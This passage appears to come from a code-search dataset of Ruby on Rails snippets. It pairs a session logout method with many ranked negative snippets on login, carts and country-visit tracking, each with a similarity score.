State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
def login session[:merchant_id] = 1 redirect_to '/products/index' end def logout session[:merchant_id] = nil redirect_to root_path end
def destroy session[:merchant_id] = nil redirect_to root_path end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cart_login\n unless @customer\n session[:redirect_to] = {\n :controller=>params[:controller],\n :action=>params[:action],\n :id=>params[:id]\n }\n redirect_to :controller=>'customer', :action=>'login'\n return false\n end\n end", "def auth_merchant\n unless session[:merchant]\n session[:flash] = 'You must be signed in as a merchant to see that page.'\n redirect '/home'\n end\n end", "def logout\n session.delete(:merchant_id)\n @current_merchant = nil\n\tend", "def save_login_state\n if session[:user_id]\n redirect_to(:controller => 'catalog', :action => 'index')\n else\n end\n end", "def login\n #If we go to login page we clear all data still in session to force a re-auth\n current_user = nil\n session[:user_id] = nil\n session[\"REMOTE_USER\"] = nil\n env[\"REMOTE_USER\"] = nil\n if params[:redirect_uri].nil? or params[:client_id].nil?\n redirect_to root_path\n else\n @from_application = ClientApplication.find_by_callback_url(params[:redirect_uri])\n if @from_application.nil?\n redirect_to root_path\n end\n end\n\n\n end", "def logout\n @page_title = \"Logged Out\"\n session[:account_id] = nil\n session[:should_remember_product_id] = false\n\t \n flash[:notice] = \"Logged out.\"\n redirect_to :action=>'login', :controller=>'go'\n end", "def login\n session[:user_id] = nil\n end", "def validate_merchant\n redirect_to merchants_login_path unless is_merchant_logged_in?\n end", "def call(params)\n session[:user] = nil #\n redirect_to '/'\n end", "def logout\r\n clear_login_data\r\n redirect_to params[:return_to] || '/'\r\nend", "def sign_in\n if cookies[ :user_id ] != nil\n redirect_to :action => \"index\" ,:controller => \"homepage\"\n end\n render layout: false\n end", "def logout\n session[:shopify] = nil\n flash[:notice] = 'Successfully logged out.'\n\n redirect_to :action => 'index'\n end", "def logout\n session[:user_id] = nil\n session[:photographer_id] = nil\n redirect_to :root\n end", "def logout\n session[:user_id]=nil \n\t\tredirect_to(:controller=>\"neurons\", :action=>\"index\")\n end", "def log_out\n session.delete(:seller_id)\n session.delete(:user_id)\n session.delete(:userType)\n session.delete(:viewedID)\n session.delete(:cart_id)\n @current_user = nil\n @usertype = nil\n @CurrentSeller = nil\n end", "def logout\n session.delete(:subscription_id)\n session.delete(:customer_id)\n redirect_to \"/ssp/index\"\n end", "def authenticate\n @subscription_id = session[:subscription_id] \n @customer_id = session[:customer_id]\n if @subscription_id == nil || @customer_id == nil\n redirect_to \"/ssp/index\"\n end\n end", "def index #when user goes to the /cart then the cart should be empty or full of some product.\n @product = Product\n if session[:cart] then\n @cart = session[:cart]\n else\n @cart = {}\n end\n end", "def index\n redirect_to(:action => 'login') unless logged_in? \n end", "def logout \r\n session[:edit_mode] = 0\r\n session[:user_id] = nil\r\n render action: 'login', layout: 'cms'\r\nend", "def logout \r\n session[:edit_mode] = 0\r\n session[:user_id] = nil\r\n render action: 'login', layout: 'cms'\r\nend", "def index\n if session[:user_id] != nil \n redirect_to '/home'\n end\n end", "def index\n if session[:user_id] != nil \n redirect_to '/home'\n end\n end", "def login\n session[:user_id] = nil\n session[:user_type] = nil\n if request.post?\n user = User.authenticate(params[:password])\n if user\n session[:user_id] = user.id\n session[:user_type] = user.usertype\n uri = session[:original_uri]\n session[:original_uri] = nil\n\n case user.usertype.to_i\n when 1 then redirect_to(uri || { :action => \"index\" })\n when 2 .. 4 then redirect_to(:controller => \"phones\" , :action => \"index\" )\n else return \"Unknown\"\n end \n else\n flash.now[:notice] = \"Invalid password...\"\n end\n end\n end", "def require_login\n if session[:donor_id]\n # binding.pry\n redirect_to '/' if session[:donor_id] == nil\n end\n if session[:charityRep_id]\n redirect to '/' if session[:charityRep_id] == nil\n end\n end", "def logout\r\n clear_login_data\r\n redirect_to(params[:return_to] || '/', allow_other_host: true)\r\nend", "def login_required\n if session[:customer]\n return true\n end\n\n # store current location so that we can \n # come back after the user logged in\n store_location\n \n redirect_to :action =>\"login\" and return false \n end", "def login\n\t\t# If the person is already logged in, redirected to the index\n redirect_to(:controller=>\"neurons\", :action=>\"index\") unless session[:user_id].nil? \n\t\n\t\t if request.post?\n\t\t\t user = User.authenticate(params[:name], params[:password])\n\t\t\t if user\n session[:user_id]=user.id \n\t\t\t\t redirect_to(:controller=>\"neurons\", :action=>\"index\")\n\t\t\t else\n\t\t\t\t flash.now[:error] = \"Wrong password\"\n\t\t\t end\n\t\t end\n\tend", "def logout\n clear_login_state\n redirect_to '/'\n end", "def login_required\n return true if session[:affiliate]\n\n # store current location so that we can \n # come back after the user logged in\n store_location\n redirect_to :action =>\"login\" and return false \n end", "def require_login\n redirect_to '/' if session[:user_id] == nil\n end", "def sign_out\n session[:shop_id] = nil\n end", "def login\n redirect_to lato_core.root_path if core_controlSession\n end", "def login\n\t\tif logged_in?\n\t\t\tredirect_to(:controller => :photos, :action => :index, :id => current_user_id)\n\t\tend\t\n\tend", "def verify_is_merchant\n (current_user.nil?) ? redirect_to(shop_path) : (redirect_to(shop_path) unless current_user.merchant?)\n end", "def sign_in(shop)\n session[:shop_id] = shop.id\n end", "def login\r\n session[:edit_mode] = 0 unless params[:ok]\r\n render action: 'login', layout: 'cms'\r\nend", "def is_logged_in\n if logged_in?\n redirect_to products_url\n end\n end", "def login\n\tend", "def log_out\n session[:cart] = []\n session.delete(:user_id)\n @current_user = nil\n end", "def logout\n session[:ccc9527] = nil\n redirect_to root_path\n end", "def logout\n reset_session\n redirect_to '/'\n return\n end", "def destroy\n\t\t# the act of logging out is performed by simply setting the key (:user_id) \n\t\t# in the session hash to a value of nil (nothing)\n\t\tsession[:user_id] = nil\n\t\t# redirect to root_path (products/index.html.erb') \n\t\tredirect_to root_path \n\tend", "def logged_in_customer\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def login\r\n return set_test_site if params[:id] == 'test'\r\n\r\n session[:edit_mode] = 0 if !params[:ok]\r\n render action: 'login', layout: 'cms'\r\nend", "def log_out_cart\n session.delete(:cart_id)\n @cart = nil\nend", "def log_in_cart(cart)\n session[:cart_id] = cart.id\n end", "def destroy\n \tsession[:user_id] = nil\n \tredirect_to products_url, :notice => \"Logged out\"\n end", "def logout\n end", "def logout\n end", "def login\r\n if cookies.signed[:remember_me]\r\n user = DcUser.find(cookies.signed[:remember_me])\r\n if user\r\n fill_login_data(user, true)\r\n return redirect_to params[:return_to]\r\n\r\n else\r\n clear_login_data # on the safe side\r\n end\r\n end\r\n# Display login \r\n route = params[:route] || 'poll'\r\n redirect_to \"/#{route}?poll_id=login&return_to=#{params[:return_to]}\"\r\nend", "def logout \n reset_session \n redirect_to :controller => 'admin' , :action => 'signin'\n end", "def logged_in_customer\n unless customer_logged_in?\n store_location\n flash[:danger] = \"Please log in1.\"\n redirect_to customer_login_url\n end\n end", "def logged_in_customer\n unless customer_logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def login\n if params[:key].nil? || params[:key].empty?\n redirect_to root_path\n else\n cookies[:key] = params[:key]\n redirect_to images_path\n end\n end", "def save_login_state\n # redirect to home Page\n if session[:user_id]\n redirect_to(:controller => 'sessions', :action => 'home')\n return false\n else\n return true\n end\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\r\n if request.get?\r\n # Logout user\r\n self.logged_in_user = nil\r\n else\r\n # Authenticate user\r\n user = User.try_to_login(params[:login], params[:password])\r\n if user\r\n self.logged_in_user = user\r\n # user.update_attribute(:ip_last, request.remote_ip)\r\n journal(\"log_in\",user.id)\r\n # generate a key and set cookie if autologin\r\n if params[:autologin] && Setting.autologin?\r\n token = Token.create(:user => user, :action => 'autologin')\r\n cookies[:autologin] = { :value => token.value, :expires => 1.year.from_now }\r\n end\r\n puts \"aqui\"\r\n if user.show? \r\n puts \"1\"\r\n redirect_back_or_default :controller => 'my', :action => 'athletes'\r\n else \r\n puts \"2\" \r\n redirect_back_or_default :controller => 'my', :action => 'page'\r\n end\r\n else\r\n # if user.locked?\r\n # flash.now[:notice] = l(:status_locked)\r\n # else\r\n flash.now[:notice] = l(:notice_account_invalid_creditentials)\r\n # end\r\n journal(\"invalid-\"+params[:login]+\"-\"+params[:password],0)\r\n end\r\n end\r\n end", "def require_login\n redirect_to root_path unless session.include?(:user_id)\n end", "def save_login_state\n if session[:user_id]\n redirect_to(:controller => 'sessions', :action => 'home')\n return false\n else\n return true\n end\n end", "def redirect_to_login\n\n redirect_to('/login')\n\n end", "def log_in(user)\n session[:user_id] = user.id\n redirect_path = session[:redirect_after_login]\n session[:redirect_after_login] = nil\n redirect_path\n end", "def login\n if fetch_subscription(params) \n redirect_to \"/ssp/subscription\"\n else\n redirect_to \"/ssp/index?login=failed\"\n end \n end", "def save_login_state\n if session[:user]\n redirect_to(:controller => 'webportal', :action => 'index')\n return false\n else\n return true\n end\n end", "def logout\n session[:user_id] = nil\n redirect_to(:action => \"login\")\n end", "def logout\n # Remove the user id from the session\n @_current_user = session[:current_user_id] = nil\n redirect_to :root\n end", "def login!\n session[:user_id] = @user.id\n end", "def login\n @user = User.find_by_email(params[:email])\n if @user.password == params[:password]\n session[:id] = @user.id\n session[:visit] = 0\n redirect \"users/#{@user.id}/feed\"\n else\n redirect '/'\n end\nend", "def index\n\n \tif session[:cart] then\n \t\t@cart = session[:cart]\n \telse\n #session[:cart] = nil\n \t\t@cart = {}\n \tend\n end", "def login\n\n end", "def login\n\n end", "def authenticate_user\n if session[:user_id].blank?\n redirect_to root_path\n end\n end", "def login!(session) \n session[:user_id] = id \n end", "def login\n end", "def logout\n reset_session\n redirect_to \"/\"\n end", "def logout\n reset_session\n redirect_to :action => 'home'\n end", "def logout\n reset_session\n redirect_to :action => 'home'\n end", "def login\r\n if cookies.signed[:remember_me]\r\n user = DcUser.find(cookies.signed[:remember_me])\r\n if user and user.active\r\n fill_login_data(user, true)\r\n return(redirect_to params[:return_to], allow_other_host: true)\r\n else\r\n clear_login_data # on the safe side\r\n end\r\n end\r\n # Display login\r\n route = params[:route] || 'poll'\r\n redirect_to(\"/#{route}?poll_id=login&return_to=#{params[:return_to]}\", allow_other_host: true)\r\nend", "def log_out_behavior\n session[:user_id] = nil\n redirect_to \"/\"\n end", "def save_login_state\n if session[:user_id]\n redirect_to(:controller => 'sessions', :action => 'home')\n return false\n else\n return true\n end\n end", "def logout\n session[:user_id] = nil\n redirect_to :index, notice: \"Signed out successfully\"\n end", "def loginpage\n end", "def logout\n reset_session\n redirect_to :action => 'login'\n end", "def clearCart\n #sets session variable to nil and bring back to index\n session[:cart] = nil\n redirect_to :action => :index\n end", "def login; end", "def signon\n user = Account.find_by_name( params[ :acc_name ].strip )\n if !!( user && user.authenticate( params[ :password ].strip ))\n return_to = session[ :return_to ] || base_url\n reset_session\n session[ :current_user_id ] = user.id\n session[ :keep_base_open ] = user.keep_base_open\n redirect_to return_to\n else\n flash[ :alert ] = t( 'home.signon.error' )\n redirect_to home_url\n end\n end", "def require_login\n redirect_to :controller => 'typus', :action => 'login' if !session[:typus]\n end", "def login!(session)\n session[:user_id]=id\n end", "def logout\n session[:user] = nil\n redirect_to :controller => :home\n end", "def login_checkpoint\n redirect to '/' if !logged_in?\n end", "def index\n if session[:cart] then\n @cart = session[:cart]\n $cart = @cart\n\n else\n @cart = {}\n end\n end", "def index\r\n redirect_to :action => :login\r\n end" ]
[ "0.7686211", "0.76116234", "0.7477758", "0.73604983", "0.7119554", "0.6992907", "0.69868195", "0.69531965", "0.68408424", "0.6828867", "0.6812733", "0.67784804", "0.67595863", "0.67511255", "0.6749648", "0.6746092", "0.67373925", "0.6720976", "0.66721517", "0.66711617", "0.66711617", "0.6660456", "0.6660456", "0.66533166", "0.66416544", "0.6637148", "0.6617514", "0.66038597", "0.6602931", "0.65746397", "0.65741444", "0.656672", "0.6556645", "0.65564173", "0.65563166", "0.6556215", "0.65408397", "0.6523404", "0.65090483", "0.6503261", "0.65001625", "0.6500022", "0.64919084", "0.64864594", "0.64863795", "0.6479242", "0.64672244", "0.6461561", "0.6456702", "0.6456702", "0.64552087", "0.6446316", "0.64430153", "0.64339435", "0.64327097", "0.64315987", "0.6428621", "0.6428621", "0.6428621", "0.6428621", "0.6428621", "0.6428621", "0.6428621", "0.6428621", "0.6428621", "0.6426004", "0.642469", "0.642393", "0.64238375", "0.6421248", "0.6421186", "0.6403861", "0.640241", "0.63922596", "0.6386424", "0.6386072", "0.6384674", "0.63844013", "0.63844013", "0.6376764", "0.6373994", "0.6373935", "0.636993", "0.63640815", "0.63640815", "0.63580656", "0.6355887", "0.6354857", "0.6353782", "0.63526684", "0.6348145", "0.6338658", "0.6338638", "0.6336919", "0.6332025", "0.6329501", "0.631711", "0.6310063", "0.63088894", "0.6297105" ]
0.70415086
5
Save record that user visited this country
def visit_country self.user_countries.create!(user_id: self.visitor_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def visited\n self.visited_at = Time.now\n self.save!\n end", "def update\r\n @country = Country.find(params[:id])\r\n\r\n respond_to do |format|\r\n if\r\n case\r\n\t when params[:visited]\r\n\t\t unless @user.countries.include?(@country)\r\n\t\t\t @user.countries << @country\r\n\t\t end\r\n\t\t visit = (@user.visits & @country.visits).first\r\n\t\t puts params[:visit_date].inspect\r\n\t\t visit.visit_date = params[:visit_date].strip.empty? ? Date.today : params[:visit_date]\r\n\t\t visit.save!\r\n\t else\r\n\t\t @user.countries.delete(@country) if @user.countries.include?(@country)\r\n end\r\n format.html { redirect_to(@country, :notice => 'Country was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { redirect_to({:action => :edit, :code => @country.code}, :notice => 'Country was not changed')}\r\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if\n case\n\t when params[:visited]\n\t\t unless @user.countries.include?(@country)\n\t\t\t @user.countries << @country\n\t\t end\n\t\t visit = (@user.visits & @country.visits).first\n\t\t visit.visit_date = params[:visit_date].strip.empty? ? Date.today : params[:visit_date]\n\t\t visit.save!\n\t else\n\t\t @user.countries.delete(@country) if @user.countries.include?(@country)\n end\n format.html { redirect_to(@country, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { redirect_to({:action => :edit, :code => @country.code}, :notice => 'Country was not successfully updated')}\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def save\n\t\tDB.execute(\"insert into seen(who) values(:who)\", 'who' => who)\n\tend", "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n country_visited = @country.visitations.where(:user_id => current_user.id).count > 0\n new_visited_value = params[:country][:visited].to_i > 0\n success = true\n\n if country_visited && !new_visited_value\n success = @country.visitations.where(:user_id => current_user.id).destroy_all\n elsif !country_visited && new_visited_value\n visitation = current_user.visitations.new\n visitation.country_code = @country.code\n success = visitation.save\n end\n\n if success \n format.html { redirect_to(@country, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def save()\n sql = \"INSERT INTO countries (name, continent, visited, total_rate) VALUES ($1, $2, $3, $4) RETURNING id\"\n values = [@name, @continent, @visited, @total_rate]\n result = SqlRunner.run(sql, values)\n id = result.first['id']\n @id = id\n end", "def save()\n sql = \"INSERT INTO cities (name, country_id, visited, rate) VALUES ($1, $2, $3, $4) RETURNING id\"\n values = [@name, @country_id, @visited, @rate]\n result = SqlRunner.run(sql, values)\n id = result.first['id']\n @id = id\n end", "def track_visitor\n visitor_cookie_name = \"teaser.#{@teaser.id}.visitor\"\n if cookies[visitor_cookie_name].blank? || (@visitor = @teaser.visitors.find_by_cookie(cookies[visitor_cookie_name])).nil?\n @visitor = @teaser.visitors.create!\n install_persistent_cookie(visitor_cookie_name, @visitor.cookie)\n end\n \n if recent_visit = @visitor.visits.last(:conditions => ['visited_at > ?', 1.hour.ago])\n recent_visit.update_attribute(:visited_at, Time.now)\n else\n @visitor.visits.create!\n end\n end", "def visited!\n self.count = self.count.to_i + 1\n self.last_used = Time.now\n save!\n end", "def save\n sql = \"INSERT INTO cities(name, visit_status, number_of_visits, country_id) VALUES($1, $2, $3, $4) RETURNING id\"\n values = [@name, @visit_status, @number_of_visits, @country_id]\n @id = SqlRunner.run(sql, values)[0]['id'].to_i\n end", "def last_visited\n\t Deck.find(params[:id]).update_attribute(:last_visited, DateTime.now)\n\tend", "def save_address\n end", "def create\n @country = Country.new(country_params)\n\n respond_to do |format|\n if @country.save\n session[:country_id] = @country.id\n format.html { redirect_to @country, notice: 'Country was successfully created.' }\n format.json { render :show, status: :created, location: @country }\n else\n format.html { render :new }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def save()\n person_session = PersonSession.new({\n 'date_time_added' => @date_time_added,\n 'reserve' => @reserve.to_s,\n 'person_id' => @person.id,\n 'session_id' => @session.id\n })\n person_session.save()\n end", "def save\n @user.searches << searches_from_history.find(params[:id])\n if @user.save\n go_back notice: I18n.t('blacklight.saved_searches.add.success')\n else\n go_back error: I18n.t('blacklight.saved_searches.add.failure')\n end\n end", "def create\n\t @country = Country.new(country_params)\n\t if @country.save\n\t \tflash[:success] = \"Record updated successfully\"\n\t\t redirect_to countries_path\n\t else\n\t \tflash[:error] = \"Record not updated\"\n\t \tredirect_to countries_path \t\n\t end\n\tend", "def save_visit\n\n if params[:id].present?\n \n #query for article\n @article = Article.find(params[:id])\n @article.increment(:external_visits, by = 1)\n @article.save\n \n @source = @article.source\n @source.increment(:external_article_visits, by = 1)\n @source.save\n else\n redirect_to root_path \n end\n end", "def keep_player_country\n msg = \"no changes made\"\n if !player.nil?\n msg = \"Keeping country of \" + base_player_name + \"/\" + \\\n base_player_code + \" as \" + base_player_country_name + \"/\" + \\\n base_player_country_code\n self.resolved = true\n self.save!\n end\n\n SystemLog.log(msg)\n end", "def show\n @country = Country.find(params[:id])\n @country.assign_visited(current_user)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @country }\n end\n end", "def save\n end", "def save\n end", "def create\n @user = User.new(user_params)\n userip = request.remote_ip\n results = Geocoder.search(userip)\n @user.country = results.first.country\n\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n elsif params[:preview_button]\n format.html { render :new }\n elsif !@user.save\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def save\n end", "def save_record(record)\n record.save\n end", "def save_record(record)\n record.save\n end", "def save_utm_data(user)\n if !session['utm_data'].nil?\n utm_data = session['utm_data']\n utm_data.user_id = user.id\n utm_data.save\n session['utm_data'] = nil\n end\n end", "def set_countryinfo\n @countryinfo = Countryinfo.find(params[:id])\n end", "def visitCountry\n countryId = params[:countryId]\n @user.visitCountry countryId\n\t render :nothing => true\n end", "def create\n @country = Country.new(params[:country])\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to @country, notice: 'EL Pais ha sido creado con exito. ' }\n CustomLogger.info(\"Nuevo pais: #{@country.pais.inspect} creado por el usuario: #{current_user.full_name.inspect}, #{Time.now}\" )\n format.json { render json: @country, status: :created, location: @country }\n else\n format.html { render action: \"new\" }\n CustomLogger.error(\"Error al crear el pais #{@country.pais.inspect} por el usuario: #{current_user.full_name.inspect}, #{Time.now}\")\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_location\n\n if @location != nil\n cookies[:location] = @location.to_cookie\n end\n\n end", "def create\n @country = Country.new(country_params)\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to [:admin,@country], notice: t('shared.msgs.success_created',\n obj: t('activerecord.models.country', count: 1))}\n else\n format.html { render :new }\n end\n end\n end", "def register_visit_by(ip_address)\r\n return unless ip_address\r\n\r\n visit = visits.where(ip_address_id: ip_address.id).first_or_create\r\n visit.increment!(\"count\")\r\n\r\n # update current visited at if more than 15 minutes ago\r\n if visit.current_visited_at.nil?\r\n\tvisit.past_visited_at = visit.current_visited_at = Time.now\r\n end\r\n\r\n if visit.current_visited_at < 15.minutes.ago\r\n\tvisit.past_visited_at = visit.current_visited_at\r\n\tvisit.current_visited_at = Time.now\r\n\tvisit.save\r\n end\r\n end", "def save_activity\n \n @status = ActivityStatus.where(:user => params[:user_id], :activity => params[:activity_id])\n @status = ActivityStatus.new(:user => params[:user_id], :activity => params[:activity_id], :status => @@SAVE)\n\n if @status.save!\n return true\n end\n return false\n end", "def save\n @saved = @state\n end", "def set_country\n id = params[:id]\n @country = Countries.list[id.to_i - 1]\n end", "def add_visit\n self.visits += 1\n self.date_last_visit = DateTime.now\n end", "def set_visited_place\n @visited_place = VisitedPlace.find(params[:id])\n end", "def country=(value)\n\t\t\t@country = value\n\t\tend", "def registered_country; end", "def create\n @trip = Trip.new(trip_params)\n @trip.user = current_user\n # If :trip :country is blank then a country was selected from the countries already present. Otherwise it is a new country being added to the database\n if params[:trip][:country] != \"\"\n @trip.country = Country.find_by(name: params[:trip][:country])\n saving_trip\n else\n saving_trip\n end\n end", "def record_visit\n unless (visit_key = cookies[:id])\n visit_key = SecureRandom.urlsafe_base64(16)\n cookies.permanent[:id] = visit_key\n end\n VisitCounter.record(visit_key)\n end", "def save\n wallet.db.save_account(self)\n end", "def seen\n assign_attributes(last_seen_at: Time.current)\n increment(:seen_count)\n save(validate: false)\n end", "def save_pathway\n pathway_name = params[:name]\n pathway_data = params[:data]\n pathway_year = params[:year]\n pathway_course = params[:course]\n current_user.pathways << Pathway.create(name: pathway_name, data: pathway_data, year: pathway_year, course_id: pathway_course)\n end", "def set_country\n @country = Country.find(params[:id])\n end", "def set_country\n @country = Country.find(params[:id])\n end", "def set_country\n @country = Country.find(params[:id])\n end", "def set_country\n @country = Country.find(params[:id])\n end", "def set_country\n @country = Country.find(params[:id])\n end", "def set_country\n @country = Country.find(params[:id])\n end", "def set_country\n @country = Country.find(params[:id])\n end", "def create\n \t\n \t@admin_country = Country.find(params[:country][:id])\n @admin_country = @admin_country.update(admin_country_params)\n\n \n redirect_to admin_countries_path, notice: 'successfully created.'\n #format.json { render :show, status: :created, location: @admin_country }\n end", "def save; record.save; end", "def user_saved_case_try _user, the_try\n the_case = the_try.case\n\n data = {\n category: 'Case Tries',\n action: 'Saved a Case Try',\n label: the_case.case_name,\n value: the_try.try_number,\n bounce: false,\n }\n\n create_event data\n end", "def save!\n if new_record?\n self.class.create(@conn_id, @id, :subscription => subscribed?)\n @changed = []\n @new_record = false\n elsif changed?\n new_path = (location_changed?) ? @location.path : nil\n new_subscription = (subscription_changed?) ? subscribed? : nil\n \n self.class.update(@conn_id, @id, :path => new_path, :subscription => new_subscription)\n @id = @location.path\n @changed = []\n @new_record = false\n end\n \n self\n end", "def save\r\n @@users.push self\r\n end", "def set_country\n @country = Country.friendly.find(params[:id])\n end", "def save\n SAVE\n end", "def create\n @country = Country.create(params[:country])\n get_data\n end", "def save\n if persisted?\n change_status\n else\n create_new_location\n end\n end", "def create\n cc = Countries::CreateCountry.new(country_params)\n @country = cc.save\n if @country.persisted?\n flash[:success] = c_t('success.create')\n redirect_to @country\n else\n render :new\n end\n end", "def save; end", "def save; end", "def save; end", "def save; end", "def save; end", "def save; end", "def save; end", "def save; end", "def determine_country_code(params, new_user)\n #keep original country code from samsung account to country_code_sa if user is new_user\n self.country_code_sa = self.country_code if new_user\n device = nil\n if params.key?('device_serial')\n device = self.devices.first(:serial => params[:device_serial])\n unless device.nil?\n device.sim_country = params[:sim_country] unless params[:sim_country].nil? \n device.network_country = params[:net_country] unless params[:net_country].nil? \n device.gps_country = params[:gps_country] unless params[:gps_country].nil? \n device.save\n end\n end\n\n [:sim_country, :gps_country, :net_country].each do |country_key|\n if params.key?(country_key.to_s) && params[country_key].length==3 && User.from_supported_country(params[country_key])\n #update user country code if country_code parameter is supported country_code base on the priority \"country\" order\n self.country_code = params[country_key]\n unless device.nil?\n device.country = params[country_key] \n device.save\n end\n break\n end\n end\n self.save\n puts \"determine country user: #{self.uid}, country_code: #{self.country_code}, sim: #{params[:sim_country]}, net: #{params[:net_country]}, gps: #{params[:gps_country]}\"\n puts \"device serial: #{device.serial}, country: #{device.country}, sim: #{device.sim_country}, gps:#{device.gps_country}, net:#{device.network_country}\" unless device.nil?\n end", "def set_country\n @country = Country.find(params[:id])\n end", "def set_country\n @country = Country.find(params[:id])\n end", "def set_country\n @country = Country.find(params[:id])\n end", "def set_country\n @country = Country.find(params[:id])\n end", "def update_visits(short_url)\n\n url = Url.find_by_short_url(short_url)\n url.visit_count = url.visit_count + 1\n url.save\n \n end", "def save\n @history << {@entry_station => @exit_station}\n end", "def doctors_visit(patient_id)\n patient = Patient.find(patient_id)\n patient.update(last_visited_on: DateTime.now)\nend", "def save!\n end", "def save\n\t\tend", "def visit\n self.update(last_visit: DateTime.now);\n self.update(visit_count: (self.visit_count + 1));\n end", "def country_params\n params.require(:country).permit(:name, :vesited)\n end", "def save\n end", "def country_id\n\t\t\tCountry.count + 1\n\t\tend", "def book_visit_count()\n self.visits = self.visits.to_i + 1\n self.save\n end", "def signup_facebook_user\n @user = Spree::User.new(user_params_list)\n @user.facebook_token = session[:fb_token]\n\n @user.addresses.first.country_id = 503\n\n if @user.save\n session\n signin_vegan_user(@user.id)\n else\n render 'complete_signup'\n end\n end", "def update\n\t @country = Country.find(params[:id])\n\t\tif @country.update(country_params)\n\t\t\tflash[:success] = \"Record updated successfully\"\n\t\t\tredirect_to countries_path\n\t else\n\t \tflash[:error] = \"Record not updated\"\n\t \tredirect_to countries_path\n\t end\n end", "def save_to_db(str, data)\n Country.create(query: str.upcase, country_name: data)\n end", "def stay_country\n end", "def show\n @information = {}\n rent = Rent.find(params[:id])\n y = rent.visits\n y = y + 1\n rent.visits = y\n rent.save\n\n end", "def show\r\n @country = Country.find(params[:id])\r\n @visit = (@country.visits & @user.visits).first\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @country }\r\n end\r\n end", "def save( defer=false )\n save_logic( defer ) \n end", "def view\n \n @user = User.new(user_params)\n \n if @user.save\n\t @country=Country.find_by(id: @user.country)\n\t @city=City.find_by(id: @user.city)\n\t render \"view\"\n \n else \n render \"index\" \n end\n \n end", "def add\n # ask the user for the user name\n new_user_name = @view.ask_user_for(:username)\n # ask the user for the user continent\n new_user_continent = @view.ask_user_for(:password)\n # create an instance of `Country` based on what the user said\n new_user = User.new(username: new_user_name, password: new_user_continent)\n # adding in to the user_repository\n @user_repository.add(new_user)\n end", "def store_countries\n Countries::Data.get_data\n @regions = Countries::Country.create_region_list\n end", "def return_to_user!(ip_address, user_agent, actor=nil)\n self.submitted = false\n # encompass uses submitted_at -- don't set to nil\n # self.submitted_at = nil\n self.rejected = true\n self.phases_complete = 0\n self.save!\n\n self.delete_consent_documents\n\n clear_cache\n\n UserLoanAppLog.new(\n user_loan_app: self,\n phase: self.phases_complete,\n ip_address: ip_address,\n agent: user_agent,\n actor: actor,\n event: 'reject'\n ).save!\n end", "def save\n super save\n end", "def before_save\r\n=begin\r\n if self.country_region_id.nil? || self.country_region_id.empty?\r\n country = Country.find_by_name( self.country )\r\n self.country_region_id = country.fedex_code unless country.nil?\r\n end\r\n=end\r\n\r\n # Hash the address\r\n self.hash = MD5.md5(\"#{street}#{city}#{state}#{zip_code}#{county}#{country_region_id}\").to_s\r\n end", "def set_city_save\n @customer = Customer.find(customer_id)\n\n Order.find(id).update_column(:city, @customer.city)\n end", "def show\n @country = Country.find(params[:id])\n @visit = (@country.visits & @user.visits).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @country }\n end\n end", "def save\n #code\n end" ]
